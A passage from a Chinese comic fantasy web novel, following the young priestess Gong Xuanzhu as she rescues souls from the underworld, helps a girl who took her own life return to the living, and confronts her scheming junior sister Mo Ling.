宫玄烛重复前话,牛鬼摸摸后脑勺,忽然瞪起眼睛:“你是胡说八道满嘴冒泡,咱枉死城今天可没开城,你怎么进去的?”
小白也冷了脸色,不复之前的和气:“对啊,你究竟是什么人,怎么混入我们冥界的?莫非是其他地方派来的细作?”
宫玄烛支支吾吾:“这……”
牛鬼一个锁套已经栓在了宫玄烛身上,怒目圆睁,嚷嚷道:“可算逮住你了!”
说罢,拉扯着就往枉死城方向走,宫玄烛踉踉跄跄紧跟着,忍不住搭茬:“差官大哥,您这打算带我去哪里啊?”
牛鬼冷哼:“自然是去受审!咱们十殿今日有空,你可算摊上了。”
宫玄烛继续问:“请教差官大哥,意外死亡的生魂都往哪里送啊?”
牛鬼:“死丫头,你还敢探听咱冥界的事?你
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有什么话等着问十殿吧!”
宫玄烛纳闷,这牛头看着不太聪明的样子,却也不好糊弄。如今耽搁得越久,于陌菱越危险,她的阳魂既流落冥界,一定是被困在这三城中了,河中鬼手指向了樱都,然她现在身陷囹圄,真是麻烦!
宫玄烛被押入大牢,等候听审,过了一盏茶的功夫,之前那个被黑白无常抓住的小姑娘居然也被关了进来,就在宫玄烛隔壁,后者凑了上去主动搭话:“你怎么样?”
小姑娘抱着自己的膝盖缩在墙角许久都没发出一丝声音,宫玄烛以为她不会回答了,却听一个幽怨凄厉的声音道:“我原本以为死了就解脱了,没想到死了还是会痛苦……”
宫玄烛忙安慰道:“别这么想啊,你看你还这么小,有什么坎是过不去的,人活着嘛,难免七灾八难的,但你可不能放弃自己啊,你还有家人嘛。”
小姑娘凄惨一笑,嘴里喃喃念着家人两个字,狂躁地抓着自己的头发。
宫玄烛心中大惊,莫非是跟家里人关系不好,但看她这模样,情况貌似不是区区关系不好几个字就可以修饰的。
唉!我这破嘴,真是哪壶不开提哪壶!
宫玄烛又讪讪道:“你再想想你的朋友啊,你做这种傻事,她该有多伤心难过啊。”
小姑娘愣了一下,似乎想起了什么,半晌又摇摇头,眸底重新染上轻蔑之态,冷哼道:“朋友都是唬人的……点头之谊罢了,这世上哪有真正的生死之交。”
宫玄烛心里着急,这小姑娘着实难劝,不过,她轻叹了口气:“你既然走到了这一步,定是受了极大的委屈,无论如何,我还是想告诉你,别拿别人的缺点和错误来惩罚自己。”
刚说到这里,牛头就来了,稀里哗啦打开牢门将宫玄烛拉了出去。
一路出了大牢,前方幽蓝色的光芒渐盛,原来是一座巍峨的府衙,牌匾上书三个大字——考弊司。[1]
上了九级台阶进入其中,却原来与阳间的官府并无差异,两边墙壁上绘了各种地狱的景致,什么拔舌剜眼、刀山火海,倒是挺唬人,两厢整整齐齐站了两班鬼卒,个个青面獠牙,穷凶极恶,手中水火无情棍齐齐在地上戳得震天响,宫玄烛左瞧瞧右看看,发现这个配置跟玄都的大理寺差不多。
稍顷,左侧帘笼挑开,一只吊睛白额大虫从里面摇头尾巴晃地出来了。
宫玄烛震惊了,侧目还问牛头,没有一点儿身为罪犯的自觉:“这是你们十殿?”
牛头一激动容易扯嗓子喊,气得眼球快瞪出来了:“放肆!这是俺们的虎师爷!十殿能长这个倒霉德行吗?”
旁边窝在椅子上的老虎竖起了尾巴,磨牙凿凿。
宫玄烛紧拦着:“哎呦,牛鬼大人呐,小点声,不要咆哮公堂。”
正说着,左边帘子再次挑起,这次是一只白底红面兽头靴迈了出来,宫玄烛一抬眼,满眼都是刺目的红色,那迈步出来的人物身近九尺,着一身曳地红色朝服,衣上绣蟒张牙舞爪,腰横八宝玉带,冕旒冠前九簇玄珠半遮仪容,从容落于正座,满堂竟无丁点动静、落针可闻。
牛头立刻推搡了一把宫玄烛,意思是让她跪下,宫玄烛愣是八风不动,还在研究这位十殿。
8. 青天大老爷啊
十殿放在凡间是那种掷果盈车的美男子,鬓如刀裁、目若寒星,美则美矣,但是一副生人勿近之态,苍冷素指敲敲乌檀桌面,声音沉郁:“堂下何人?”
牛头连忙回答。
那位十殿打量了宫玄烛一回,开口仍旧漫不经心:“既然是探子,那就把耳朵削下来吧。”
宫玄烛闻言脸色惨白:“不要啊,割掉了耳朵我怎么戴口罩啊!”
这位十殿真的是空有其表,原来是个草菅人命的主儿,狗官!当真是个狗官!放在我们阳世间就该一人一口唾沫淹死,一人一脚踩死,死了也该照他的模样儿捏成小面人放油锅里炸了,卖三文钱一个。
十殿眉头轻挑,靠着椅背,侧目看向旁边的虎师爷:“她心里在想什么?”
吊睛白额大虫开口吐人言,一五一十说了一遍,居然还添油加醋:“哎呦额的十殿啊!介娘们可不像好人呐!她搁心里咒您呢,哎呦那个词老歹毒了,她说您办案发昏,咒您回家发疯,还说您脑袋像面瓜,鬼见愁棺材脸,死了三百年没人要,走一步一掉渣,老黄瓜刷绿漆你装嫩,水仙不开花搁上边装蒜——”
“你个孽畜!”宫玄烛见势不妙连忙打断,差点没给上边那位爷跪下,两眼发黑,哭天抢地:“青天大老爷啊,百姓的父母官,它毁谤我呀!小的对您那是仰慕崇拜至极,何曾有过半分非议?殿君明鉴啊,切勿听信小人谗言残害忠良啊!”
“哦?”十殿微微坐直身子,“这么说来,姑娘对本君倒是一片赤忱了?”
宫玄烛指天誓日:“小人若有半句虚言,就让我师父这辈子都讨不到媳妇,打一辈子光棍儿!”
十殿微微一扬手,牛头带着两班鬼卒悄悄退了出去,那虎师爷犹四平八稳坐着,跟大爷一样,十殿微微轻哼一声,那畜牲臊眉耷眼,垂着尾巴扭出堂去。
考弊司内便只剩他二人,宫玄烛自是不怕的,既然一开始没有治她死罪,那就有的聊,再者说了,无商不奸无官不贪,真金白银往上一堆,啥事都好办。
她心里打定主意,只等着那位贪官发话。
十殿却默然半晌,从容起身,缓缓步下三级台阶,在铺设软毯的地上踱步,额前九旒珠子却只小幅地摆动,他背负双手绕到了宫玄烛身后,宫玄烛未曾转身,只觉身后似有两道寒光对着自己,浑身不自在,如同架在火上烤一般。
“姑娘只身前来冥界,不知所为何事?”
宫玄烛这才回过神来,微微拱手,半真半假地道:“原是师门中一小师妹前几日外出,撞了阴客,如今阳魂离体,活死人一般,师门特派在下前来寻觅,在下素知殿君宽厚仁慈,若知此事必然秉公处理,可惜无有门路,难达天听,不曾想阴差阳错让在下见到了殿君,还望殿君垂怜,小人感激不尽。”
那十殿半晌没言语,两点赤瞳微微涣散,看似在瞧宫玄烛,实则又在神游天外。
宫玄烛等了半晌又忍不住问道:“殿君?”
“嗯?”那十殿似是如梦初醒,“你方才说什么?”
敢情我说了这么半天,天花乱坠,嘴皮子都快磨破了您是一个字没听是吗?
老天爷,一个雷劈碎了他吧!
宫玄烛忍气吞声,叭叭地又说了一遍,将十殿捧得天上难找地下难寻,别说十殿听着脑袋发昏了,就是吃斋念佛的老僧听了也受用。
事实证明这天底下有不吃马肉的,但没不吃马屁的。
那十殿摆摆手:“小事一桩,姑娘何不早说,既是冤假错案本君自当妥善处理。”
宫玄烛连忙将袖中一鼓鼓囊囊的锦袋摸出,双手奉上:“一点薄礼还望殿君笑纳,千里送鹅毛礼轻情意重,小人自知殿君两袖清风断然不肯收受,只当是成全小人一片景仰之心。”
那十殿不知为何,似笑非笑,也不收礼,也不拒绝,只定定看着宫玄烛,然后逐步靠近,宫玄烛饶是八面玲珑也有些左支右绌,被逼得连连后退,脊背靠上了蟠龙柱。
那人欺身压下,冕旒冠前的珠帘几乎打到宫玄烛鼻尖,冰冷的呼吸喷洒在她脸上,在宫玄烛怔愣的目光中,他缓缓掀开眼前遮挡的珠帘玉幕,露出一双含笑的狐狸眼,沉声幽幽道:“有劳少祭司费心,可惜,本君不贪财——”
殷红的薄唇却凑到了她耳畔,缱绻悱恻:“只好色……”
始料未及,宫玄烛有些转不过弯了。
正在此时,只听外面一声虎啸,那位十殿脸色一僵,疾步出了考弊司。
宫玄烛后脚跟上,远远在柱子后面听了几句,捕捉到几个关键词,化羽期修士、孽镜台、阵法……
几个词串联不出具体的故事,那十殿匆匆离去,看来是被别的事绊住了。
那虎师爷就是十殿的一条狗,颠颠地想跟去,似是被主子拒绝了,窝在考弊司门口,一只老虎居然能露出深闺怨妇的神态。
宫玄烛将本来要贿赂冥界二把手的一袋六界通宝倒出一半儿来收下,另一半儿给了牛鬼,又是吹嘘又是夸赞,一人一鬼不到半晌称兄道妹,在考弊司附近的小酒馆喝了个酩酊大醉,宫玄烛装模作样许久,撑着脑袋醒来晃晃牛鬼的胳膊:“牛兄?牛兄?”
连推带晃眼睫毛也不带眨一下的,呼噜震天响,很好,现在就算削他一片腱子肉下来炒下酒菜,牛鬼都会慷慨解囊。
宫玄烛倒不会下此毒手,只单单拿走了它腰间的一串骷髅头钥匙并一块鬼差令牌,丢了两个囚犯,事后那位隔色儿的十殿自然会扒了牛鬼的皮,这就叫借刀杀牛。
一把把试错,终于打开了牢门,那小姑娘却不肯跟着一起走,无奈只好道:“其实是你的一位好友托我来找你的……”
成功说动她加入还阳小分队,这叫善意的谎言。
没错,咱牛兄今日有急事,托我代他值班嘛,你问什么事?嗯,发现孩子不是自个亲生的吧。对此我深表同情,牛兄也算是为咱们地府的生态环保事业添砖加瓦了。
出了枉死城,路过地府4A级景区望乡台,身边这位小朋友忽然走不动道了,站在上面望着一个地方,宫玄烛催也不是、等也不是,急得团团转:“好妹妹,咱下次再参观行不行?十万火急啊,逃命呢,我这鬼差身份是暂借的……你怎么哭了?”
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>宫玄烛顺着她所望的方向看去,远处朦朦胧胧是一个熟悉的场景,纸人挂了一屋子,却是钟诗琼的纸扎铺,二楼卧房里三个人,都熟,一个是钟诗琼、床上躺的那位是身边的小姑娘,伏尸大哭的那位是之前见过的跟妖精在一起逛街的那丫头。
俗话说得好,死后有人为你哭那才是真情流露,这也算给绝望中的少女给了一丝希望。
“这位姐姐,我还能回得去吗?”
宫玄烛一喜:“放心放心,只要你心里有这个想法,扶危济困我义不容辞啊!”
反正你刚死几个时辰,我小师妹都凉了五天了,她都能回去你如何使不得,这也是你的优势所在,你醒来顶多浑身僵硬一阵子,不像我小师妹,恨不得拿冰镇着。
一路畅通无阻到了某不知名的地方了,呵呵,他奶奶的迷路了,宫玄烛有心想死,但也只敢想想。
谁能告诉我这是哪儿?
街头游荡的孤魂野鬼不敢叨扰他们,怕急眼了咬我一口没地方打狂犬疫苗,身边的小姑娘满脸期待,那嗷嗷待哺的眼神仿佛我是乌鸦妈妈。
反正不能待在原地,没头苍蝇似的带着小姑娘乱跑乱窜,隐隐约约看到一个熟悉的白衣身影,宫玄烛眼睛都亮了,熟人啊!忙不迭过去打招呼,这就叫吉人自有天相。
上前去抱拳拱手:“兄台好啊,嫂子怎么没跟着一起出来?”
先前在槐荫镇也算救过她们一命的白衣公子转过身,眉眼微带笑意:“是你,怎的在此?”
宫玄烛心里一喜,他还记得我,管他真的假的,见面道辛苦,必定是江湖啊!
宫玄烛故作长叹:“先前遇见神仙打架,一时好奇多看了两眼,谁知醒来就在这个地方了,和我小师妹也走散了,万幸遇上了兄台。”
白衣公子淡淡一笑:“原来如此,不知姑娘的师妹是何模样?”
宫玄烛连忙将陌菱的模样大概描述了一遍,那白衣公子点点头,闭目沉思了一会儿,指尖白光莹莹,化作一只近乎透明的蝴蝶翩翩舞于三人身侧。
“它会带你找到想找之人。”
“真是多谢兄台了,小妹还有急事在身,改日定好好答谢,对了,还未请教兄台尊姓大名。”
那人启唇,淡淡道:“沐灵。”
人如其名啊。
宫玄烛再谢离去,跟着翩跹玉蝶一路往东,出了城楼,周围景致布局不太符合常理,玉蝶飞过的地方看似是墙壁、悬崖,实则可以通行,也怪不得之前会迷路。
两人跟着玉蝶一路前行,返回了之前的曼珠沙华花海,忘川水潺潺流淌,宫玄烛心中一颗大石头落下去一半。
玉蝶扑闪两下翅膀渐渐消失,小姑娘有些着急,宫玄烛却看向了一个地方,那里有人,且不止一个。
她带着小姑娘迅速往花海中央赶去,那里是一片湖泊,水里倒映着天上一轮血月和岸边的彼岸花,水光泛着瑰丽的绯红色,仿佛湖里泡着一只血淋淋的眼珠子,诡异至极。
宫玄烛想到了四个字——镜花水月。
湖边有三个人,尹星灯、林瑶、陌菱。
9. 莫欺少年穷
林瑶浑身湿漉漉晕倒在尹星灯怀里,陌菱那魂魄离体五日早已虚弱不堪,也是倒在花田里昏迷不醒,曼珠沙华缠绕在她身上吸食着她的魂力,陌菱的身子渐渐透明,宫玄烛急忙用辟邪魂灯逼退了几株宛如毒蛇的花枝。
尹星灯冷着脸,一手紧紧握着林瑶的手给她输送灵力,冷声喝止宫玄烛:“不用管她!我没有这样的徒弟!”
宫玄烛不明所以,尹星灯道:“此处为六界灵气交汇之所,镜花水月之地,可互换命运,”
尹星灯眸光如刀,仿佛恨不得将陌菱千刀万剐:“她引诱瑶儿至此,狼子野心昭然若揭,我现在怀疑,她这魂魄离体恐怕也是自导自演,算准了瑶儿一定会来找她,好成功夺取她的身份,取而代之。”
宫玄烛好歹等他说完,问道:“您亲眼所见,亲耳所闻?”
尹星灯不容置疑:“事实摆在眼前,她与瑶儿一起落于湖中,魂魄交融,幸亏为师及时赶到。”
宫玄烛翻了个白眼:“师父,这两位目前都人事不省,您这案子断的,仅凭想象啊?好歹问一下当事人啊。”
尹星灯冷哼,看陌菱一眼都觉得厌恶:“有何可问的,那孽徒只会装模作样抹眼泪,瑶儿也只会包庇她。”
宫玄烛烦躁至极,要不是为了继承星辰宫她早撂挑子了,奶奶个爪,这到底是仙宫还是后宫啊?天天夹在这三个人中间不够受气的!偏心眼师父、圣母大师姐、怨妇小师妹,天天搞事,我是来修仙了是来当冤家了?
真是,钱难挣屎难吃,在你家当学生比当老妈子还累。
为今之计也只有将全部希望寄托于阎王,只要尹星灯这老登早点驾鹤西去,那么世间一切冤孽都会迎刃而解,我这两姊妹花没了男人可抢,应该也能握手言和、举案齐眉啊。
可是这老登的命比甲鱼的都长,有心送他一程吧,一来实力不够弄不好让他给我超度了,二来弑师这事儿吧在咱这个洲不合法。
熬鹰似的熬了五天了,宫玄烛现在的怨气比鬼还重,良言相劝道:“师父,要不咱先回去吧,发昏当不了死,就算她们两姐妹真的回天乏术了,咱也该回去置办棺木好生送下来才是,”
五天没合眼,她现在有些精神错乱,滔滔不绝把心里话抖了出来,口若悬河展望未来,“您要是实在难舍难分,大师姐那口棺材咱可以做成双层的!你们虽然不是同年同月同日生,但也可同年同月同日死,说不定投胎都在一起,当然机遇都把握在你手里,投的早你能看着她长大,她给你养老送终;投的迟你们那是姐弟相称、其乐融融;不早不晚正好指腹为婚——”
“死丫头可是活腻了!”
尹星灯眸中迸出火星子来,被孽徒气了个仰倒,若不是怀中还有个林瑶当真能当场清理门户。
宫玄烛自然是算准了这层才敢口出狂言,况且说的也正中尹星灯下怀,若林瑶真有个三长两短,他是断无独活的。因此上虽然言语失了分寸,却并不为尹星灯厌恶,反而喜爱她的娇憨率真,每每佯装怒意,禁不住三句又被小徒逗得泄了火。
宫玄烛又道:“强龙还不压地头蛇,待会儿冥界那一群打上来,先说好,弟子那是半点指望不上,只求师父大显神通了。”
尹星灯瞪她一眼开了阵法:“为师现在懒得跟你饶舌,回去自然有你好果子吃。”复又抱起了林瑶先一步踏入阵中。
宫玄烛抱起陌菱,携着顺路搭救的小姑娘一起蹭阵法回转人界,谁知眼前蓦然一黑,仿佛朦胧中被谁打了一闷棍似的,眼前又似是一片血红颜色,冷不防又瞧见了那位枉死城的十殿,风月缱绻的眸子近在眼前,似笑非笑、顾盼神飞,竟是能把人的魂勾走。
直到背后一阵闷痛,宫玄烛连连咳嗽几声,只咳得抖肠搜肺,险些把心呕出来,展眼一看方认清已经回到星辰宫了,这边尹星灯淡然道:“适才可是魇住了?为师好心救你,瞪我作甚?”
您好悬没一巴掌拍死我!抢白你两句至于下这个死手?
尹星灯只顾着照料林瑶,自是无暇顾及陌菱,宫玄烛着人照拂着,抬脚就往外面走,尹星灯对她到底还有一点师父样子,虽然刻薄歹毒了些,暂且不提。
“才回来不久,不说好生歇着,又要去哪里撒欢惹祸?”
气得宫玄烛咬牙切齿,深呼吸几下回眸一笑:“不了吧,我这老胳膊老腿,还是多活动些的好,省得坐着生锈了。”
说罢熟练地一低头躲过了照面门飞来的茶盏,砰——那身后的小姑娘却被殃及,可怜一个瘦瘦弱弱的孩子,尚且是魂魄形态,这一下结结实实砸在脑门上,当时厥了过去。
宫玄烛连忙袖了这虚弱的魂魄,急急往槐荫镇赶去,又恐脚程太慢,顺手拐了师父的商羊,一飞冲天,不到片时落在了红线坊门口,连声叩了三下门,里面的人噔噔噔下楼,正是钟诗琼,宫玄烛连忙拱手:“钟老板,来不及细说先带我上楼去!”
“好!”
钟老板也是见过大世面的,一句废话也没有,宫玄烛暗暗点头称赞,这姑娘能处。
二楼卧房里,先前那碧衣女郎坐在地上哭得声咽气噎、两眼红得如同兔子一般。
宫玄烛前前后后忙活一阵,好歹将那小姑娘的魂魄送还本体,待到黎明时分,头遍鸡叫,这人才悠悠转醒,那碧衣女郎又惊又喜,哭得红肿的双眼又滚出几行眼泪,原先听宫玄烛说好友还可转醒,心里是不大信的,以为钟诗琼病急乱投医找了个坑蒙拐骗的神棍进来,谁知竟然真的好了,来不及答谢急忙抱住了好友,口称“纤茉”不止,那边回过神也是泪如雨下,含混着叫着“苏苏”,一个是死而复生、一个又失而复得,两姐妹哭作一团。
钟诗琼随宫玄烛一起下楼,掩上房门仍然听得里面抽抽噎噎之声,两个不知哭了多久这才止住,絮絮叨叨又说了起来。
宫玄烛便向钟诗琼打听底细。
原来上吊自尽那个叫楚纤茉,早年家道中落,父母为谋生出门在外,把他姊妹三个交给祖母胞弟照管,这祖母一则年迈,二则也有些偏心,喜长孙女冰雪灵巧,喜长孙是个男孩子
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将来顶门立户,倒把个楚纤茉扔在一边,死活不管,好一个曾经的千金小姐如今寄人篱下倒似下人一般,每日蜷缩在床脚睡,吃饭也在门口蹲着,也不知犯了什么错,三天两头被她叔父责打,衣衫下花红柳绿皆是伤……得亏还有个好友苏潋影照看着,时时接济,每每宽慰。
宫玄烛听到此处不觉皱眉,放下了茶盏:“既是如此,何不送信与她父母知晓?也好让楚姑娘早日跳出火坑才是。”
钟诗琼摇摇头:“姑娘有所不知,我说的也是旧年之事,如今纤茉父母已经回来了,纤茉盼星星盼月亮,终于等到了这天,只是终究不及长姐幼弟得宠,左邻右舍也有看不下眼的,将纤茉的遭遇向楚父诉说一遍,谁知他竟一概不信,直说,就算是确有其事,也是不孝女之过,断无为此苛责父母之理。”
啪——宫玄烛重重将茶盏一叩,气了个真魂激荡:“天底下竟有这般糊涂的父母!莫不是要为了保全自己的孝名,坑死亲骨肉不成?”
钟诗琼道:“清官难断家务事,外人又有何办法?”
宫玄烛:“如此不如让她跟了我去,横竖别受这窝囊气。”
钟诗琼还是摇头:“不妥,且不提纤茉年纪尚小,她那祖母是出了名的刁钻,纤茉纵使小心担待着也落了千般不是,她素日不敢多说一句话、多行一步路,如今贸然要提跟了你去,楚家老夫人岂能善罢甘休,且不说姑娘平白受牵连,就是纤茉也要多遭罪,姑娘不信只往街上细细打听就是了。”
宫玄烛往楼上瞧了一眼,眉头微蹙:“那如今她又当如何?彻夜不归还能好了?”
正逢那苏潋影推门下楼,轻声应道:“就说是在我家住下了,等纤茉休息好了,我陪她一起回去,我就不信楚老太连我一起骂。”
钟诗琼轻轻一笑,苦涩无比:“傻丫头,你也不能总是不着家,人前自没有什么,人后还不知怎么样呢,可怜纤茉这孩子,前世究竟造的什么孽,竟命苦至此。”
宫玄烛思索再三画了张灵符交给苏潋影:“好歹叫她戴着防身,躲过这一时之祸,再好生解劝,无论如何不能再走那绝路,岂不知天将降大任于斯人也,必先苦其心志、劳其筋骨、饿其体肤?君子无时且耐时,她年纪尚小,日后有出头之日尚未可知。”
钟诗琼、苏潋影二人皆以为然。
等天亮以后,钟诗琼去纸扎店里拿了一套纸嫁衣,雪衣棠花,美轮美奂,她一眼就看中了那华美的昙花云肩,可是不知道那位冷艳清逸的白衣新娘叫什么名字,她和宫玄烛只能在城隍庙里边烧边祷告。
“新娘姐姐,不知道你的芳名,昨夜多亏你相救了,小妹无以为报,一点心意还望笑纳。”
宫玄烛忽然想起来一个名字,忙在信中写了,一并烧掉,二人再拜起身。
“此间无事,我也该回去了,钟老板,有缘再会。”
“姑娘若来,我必扫榻相迎。”
商羊轻轻展翅,屈起一只脚在石桌上翩翩起舞,这一人一鸟离开后,不一会儿大雨倾盆而至。
10. 阴风快递,送啥都快
冥界,离恨城。
沐灵正批改公文,有人来报。
“君上,有您的信件和东西,从忘川上游来的。”
(叮~阴风快递提醒您,您的快递已送达,阴风快递送啥都快!)
沐灵搁下笔道:“何人所寄?”
那阴差道:“回君上,一个是槐荫人士,叫钟诗琼,另一个叫宫玄烛,帝都的少祭司。”
沐灵压根没听说过这两个名字,以为是鬼差弄错了,刚摆摆手想让他下去,转念又一想,把东西留下了,一打开是一件美轮美奂的白嫁衣,人间的手艺,巧夺天工。
人间的物品是很珍稀的,有亲人在世的鬼每逢佳节都可以收到子孙后代的供奉,在阴间也算过得滋润,还能收到家书。
可沐灵他,无亲人在世,唯一的儿子也在那场战乱中不知所踪,见到人间的物品不由得麻木许久。
那些记忆其实已经很模糊了,他想起了初升的朝阳,天边金灿灿的霞光,炊烟袅袅,那粗瓷碗里滚烫的米粥究竟是什么味道……冷是什么感觉?热是什么感觉?他不会有食欲,每次到腹中绞痛之时才知道该吃饭了,然而也不过是阴仆将饭菜摆上来,他嗅着飘渺的白烟就算完了。
赌书消得泼茶香,当时只道是寻常。
如今,再怀念也回不去。
“轻尘,你看漂亮吗?是你人间那两个小朋友送的。”
他跟白衣新娘二人躺在白纱曼曼的石床上,他伸手抱住她,看着她眼前白绫下微微渗出的血迹轻叹一声,“你睡着了吗?就是醒着你大概也不会跟我说话的,轻尘,如今我们都已经这样了,就别再去管别人的闲事了吧,万一你再出点什么事,我真的想不出,我该怎么过下去了……”
新娘动了动转过了身,僵硬地抬起手臂,沐灵将脸贴在她手心里,闭上了眼睛:“我没有在怪你,我只是怕了,我怕你……又先我一步,答应我,哪怕以后要魂飞魄散,我们也要在一起。”
“你还记得以前的事吗?不记得了也没关系,我是永远不会忘的。”
新娘没有动,静静保持着之前的姿势。
沐灵没想到槐荫镇一别竟是人间长别,下一次相见居然是在阴世,双双死于非命,白烛磷火,何其悲苍。
他早已不会流泪,见她模样却双眼滴血,怨恨天地不公。想她青春年少,如花美眷,却一载枉断了性命,焉能不心如刀割?
……
宫玄烛回到星辰宫,先将商羊悄悄放回金殿里,还打量尹星灯不知道呢,喜滋滋回了自己的院子,见一黑漆漆的影子坐在廊檐下,有心逗他:“谁家狗蹲这儿了?”
林夕抬眼一瞧,面上竟有些闷闷不乐,但是站了起来请她进屋,宫玄烛倒有些不好意思了。
“姐姐,你这几日都去哪里了?”
“去你老家一趟,但是走得急忘了给你带点土特产。”
林夕一时没反应过来,半晌才惊乍起来:“那姐姐可有受伤?”
宫玄烛在他面前转个圈圈,意思是自己全胳膊全腿,并无大碍,刚坐下林夕就倒了茶递过来,宫玄烛抿了一口深为受用,小伙挺会来事啊,又忍不住逗道:“你说你就这么不明不白跟着我,也不是个了局,不如我收你做徒弟如何?”
林夕这孩子逗起来极容易害羞,今日却并没有,出乎宫玄烛意料之外,安静半晌才道:“姐姐又在开玩笑了,收徒之事岂有不禀报国师的,国师知我身份岂能容我……”
一提起国师宫玄烛差点跳起来,直喊糟糕,一溜烟往陌菱那屋子里跑,却不见她人影,登时吓出一身冷汗,询问了几个守卫才知陌菱醒后尹星灯并没有为难她,想来是林瑶拦住了。
宫玄烛真觉得自己是个操心的命,摇摇头走出门去,想去后山散散心,却又看到一个红衣身影坐在秋千架上,衣袂飘飘、风流袅娜,她背对着宫玄烛,却轻笑道:“这个时候,也只有你会来找我了。”
宫玄烛驻足不前,不知该答些什么,只好问道:“身子可好些了?”
那人正是陌菱,一头乌发随意垂散着,一根红色发带要落不落地勾在发梢,秋千架随着她的动作轻轻晃动,闻言冷笑一声:“好又如何,不好又如何?你也不必劝我,左右我不会感激你,左右我是个没有心的人。”
宫玄烛眼睛微眯,审视着不远处的陌菱,在她身后缓缓踱步,声音极轻却能轻易传入对方耳中。
“阳魂离体,看似冒险实则只要天时地利人和,虽险象环生,但只要布局得当却也可全身而退,槐荫镇荒宅娶亲、妖孽鬼魂作祟,故意拖延我的时间,”
宫玄烛心下烦乱,又叹道:“陌菱,你既然千方百计把林瑶引去了镜花水月之地,怎的又忽然停手了?”
陌菱幽幽叹道:“是国师来的太快了。”
“是吗?”宫玄烛紧追不舍,“还是你没料到,林瑶真的会寻你而来?心甘情愿与你换命?”
“那本是她欠我的。”陌菱的语气波澜不惊,又轻笑道:“你也不必如此激我,你所执的不过是人性本善,可我就是天生的恶人,我身上有你看不到的恶,它们早已融入了我的血液里,回去吧,不要试图拉我走出黑暗,我只会带你一起堕入深渊。”
宫玄烛近前一步:“若我偏要留下呢?”
陌菱幽幽笑道:“阿烛,你真的会为我留下吗?”她轻轻侧过脸,那半张脸美得惊心动魄,没有林瑶的孤标傲世,有的全是风流妩媚,“你可知,那个清明出生的小姑娘,也是我蛊惑的,如果你们不上当,我也可重新借尸还魂,鸠占鹊巢。”
在宫玄烛惊愕的目光中,她自嘲道:“这样,你还想为我留下吗?为我这样的人?”
……
宫玄烛恍恍惚惚,乘着月色回了自己的屋子,脑海里满是陌菱那句话。
人性本恶,是啊,有的人的的确确是恶,可他们往往是缺少教化,不识文断字,难以讲通道理,这是小恶也是最低劣的市井小人做派;次者就是为臣不忠,肚腹之中空有墨水,枉读圣贤书,只为牟取名利横征暴敛鱼肉百姓,此为大奸大恶;再后便是伪君子真小人,嘴甜心苦、笑里藏刀,这种人往往意识不到自己的罪恶,惯将自己放在最高点,以
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万物为刍狗,此谓穷凶极恶。
陌菱的嫉妒就是她心中恶的来源。
为了一个尹星灯当真值得?众叛亲离,声名尽毁,手足相残。
房间的灯亮着,林夕还没有睡,宫玄烛自然也无心睡去,翻了好一阵终于找到了冥事录,从头翻起,细细查看,到底要弄清楚之前遇到的那一干牛鬼蛇神的底细。
林夕在旁边呆了许久,许是无聊,蹭到近前搭话:“敢问姐姐闺名是?”
她给他丢过来一印章。
林夕拾起细看:“真的叫,宫玄烛?”
“一听就是艺名啊,跟我师父那老壁灯一样,像我们这混阴阳两界的哪敢用真名示人,我又不是阎王亲戚。”
林夕还将印章放好,觉得很有必要解释清楚:“你这叫法已经过时了,现在冥界那老大叫冥君。”
宫玄烛:“他就是叫死神那属性也不变。”
林夕还不死心,又往前凑凑:“少祭司,方便告诉我你的真名吗?”
宫玄烛紧盯着他,微微眯起一双含情桃花眸:“小子,你这样让我很慌啊,你怕不是下边派来的奸细吧?”
两人玩笑了一会儿,宫玄烛渐渐觉得眼睛酸涩,脑袋昏沉,只好合书回内室就寝。
且说宫玄烛躺着,觉得脑袋似有千钧重,渐渐支撑不住,迷迷糊糊就感觉房门被风吹开了,有人走了进来,掀开帐帘弯腰俯视着她。
她极力想睁开眼,睡梦中的面容满是挣扎之态,额头、脖颈上满是汗水。
那人凑近她,越靠越紧,而她仿佛整个人陷入了深海之中,全身没有一丝力气,眼皮仿佛被胶水粘起来了似的。
嘴唇被一片冰冷贴上,她极力控制着自己熟睡中的躯体,不知用了多大的力气才侧了头,冰冷的触感便落在了脖颈上,一路向下,身体突然一沉,仿佛被什么压住了,呼吸都有些困难。
她能清晰地感觉到,自己身上的衣服被人一件件地剥离……
她用了死力气,狠狠地咬了一下自己的舌头,血腥味顺着喉管滑下时终于醒了过来,侧目一看,沙漏定格在子时。
她起了一身的汗,急忙摸了一下自己的衣服,都还在……
这叫个什么事?玩了半辈子鹰到头来让家雀叨了眼睛?说出去她宫玄烛真是没脸见人了。
不过到底是什么样的鬼,居然敢如此明目张胆地招惹她?用的手段也着实……下作!
她心神恍惚,刚开门就撞进了林夕怀里,孩子瞪着一双星星眼仿佛被人施了定身法,脸以肉眼可见的速度红了?
宫玄烛下意识地低头看了看自己的穿着,衣服裤子都没落家里啊……脸上一阵凉风拂过,宫玄烛眼眶湿润了,面纱忘记戴了,凹了这么久的神秘感,全没了!
林夕磕磕绊绊道:“少祭司……你醒得好早……可是饿了?我这就去做夜宵……”
宫玄烛没心吃什么夜宵,脑海中全是缠绵悱恻的梦境,但她分得清楚,这绝对不是自己走火入魔、道心紊乱,而是有邪祟侵扰之故,思索再三连忙整理仪容去敲了尹星灯的房门。
11. 师父,我让人睡了
尹星灯正在打坐,听见有人叩门,这么急躁的频率一听就是那不省心的二徒弟,还没开口让进,那人已经进来了,门也不关,一股风扑到他身边坐下,一脸憔悴:“师父……我让人给睡了。”
尹星灯一口茶喷出来了:“谁这么想不开,等会,你该不会想让我给人赔钱吧?”
宫玄烛恨疯了,若不是现在有求于人真的能当场给他送终:“我都这样了,您做个人好吗?”
尹星灯嘴上虽然玩笑,但也在留心观察宫玄烛脸色,不禁咂舌:“这仔细一看还真是……好悬没把你内胆吸出来,看你这伤势对方得是个□□啊。”
宫玄烛:“师父,我都连续三天没睡觉了,我今晚能不能待你旁边啊?拿您这张宝相庄严的脸震慑一下那个恶魔。”
尹星灯一点也不惯孩子:“滚!”
宫玄烛泫然欲泣,尹星灯眉头微蹙:“哭得太假了。”
宫玄烛悄悄拧了一把自个儿的大腿,霎时间泪如雨下:“师父,以往都是弟子不好,弟子年纪小,只知道说不知道轻重,如今师父不救我,我还能求谁去……”
眼泪攻势伴着软语攻击,双管齐下,尹星灯终于缴械投降了:“罢了罢了,莫要再喧哗。”
宫玄烛“哦”了一声,果然收住了眼泪,心中暗叹,果然是撒娇的女人最好命。
尹星灯在旁边看书,不禁看向了睡着的徒弟,虽然平时咋咋呼呼,但睡着了意外地乖巧,他隐匿了自己的神识果然感觉到院子里有东西在接近。
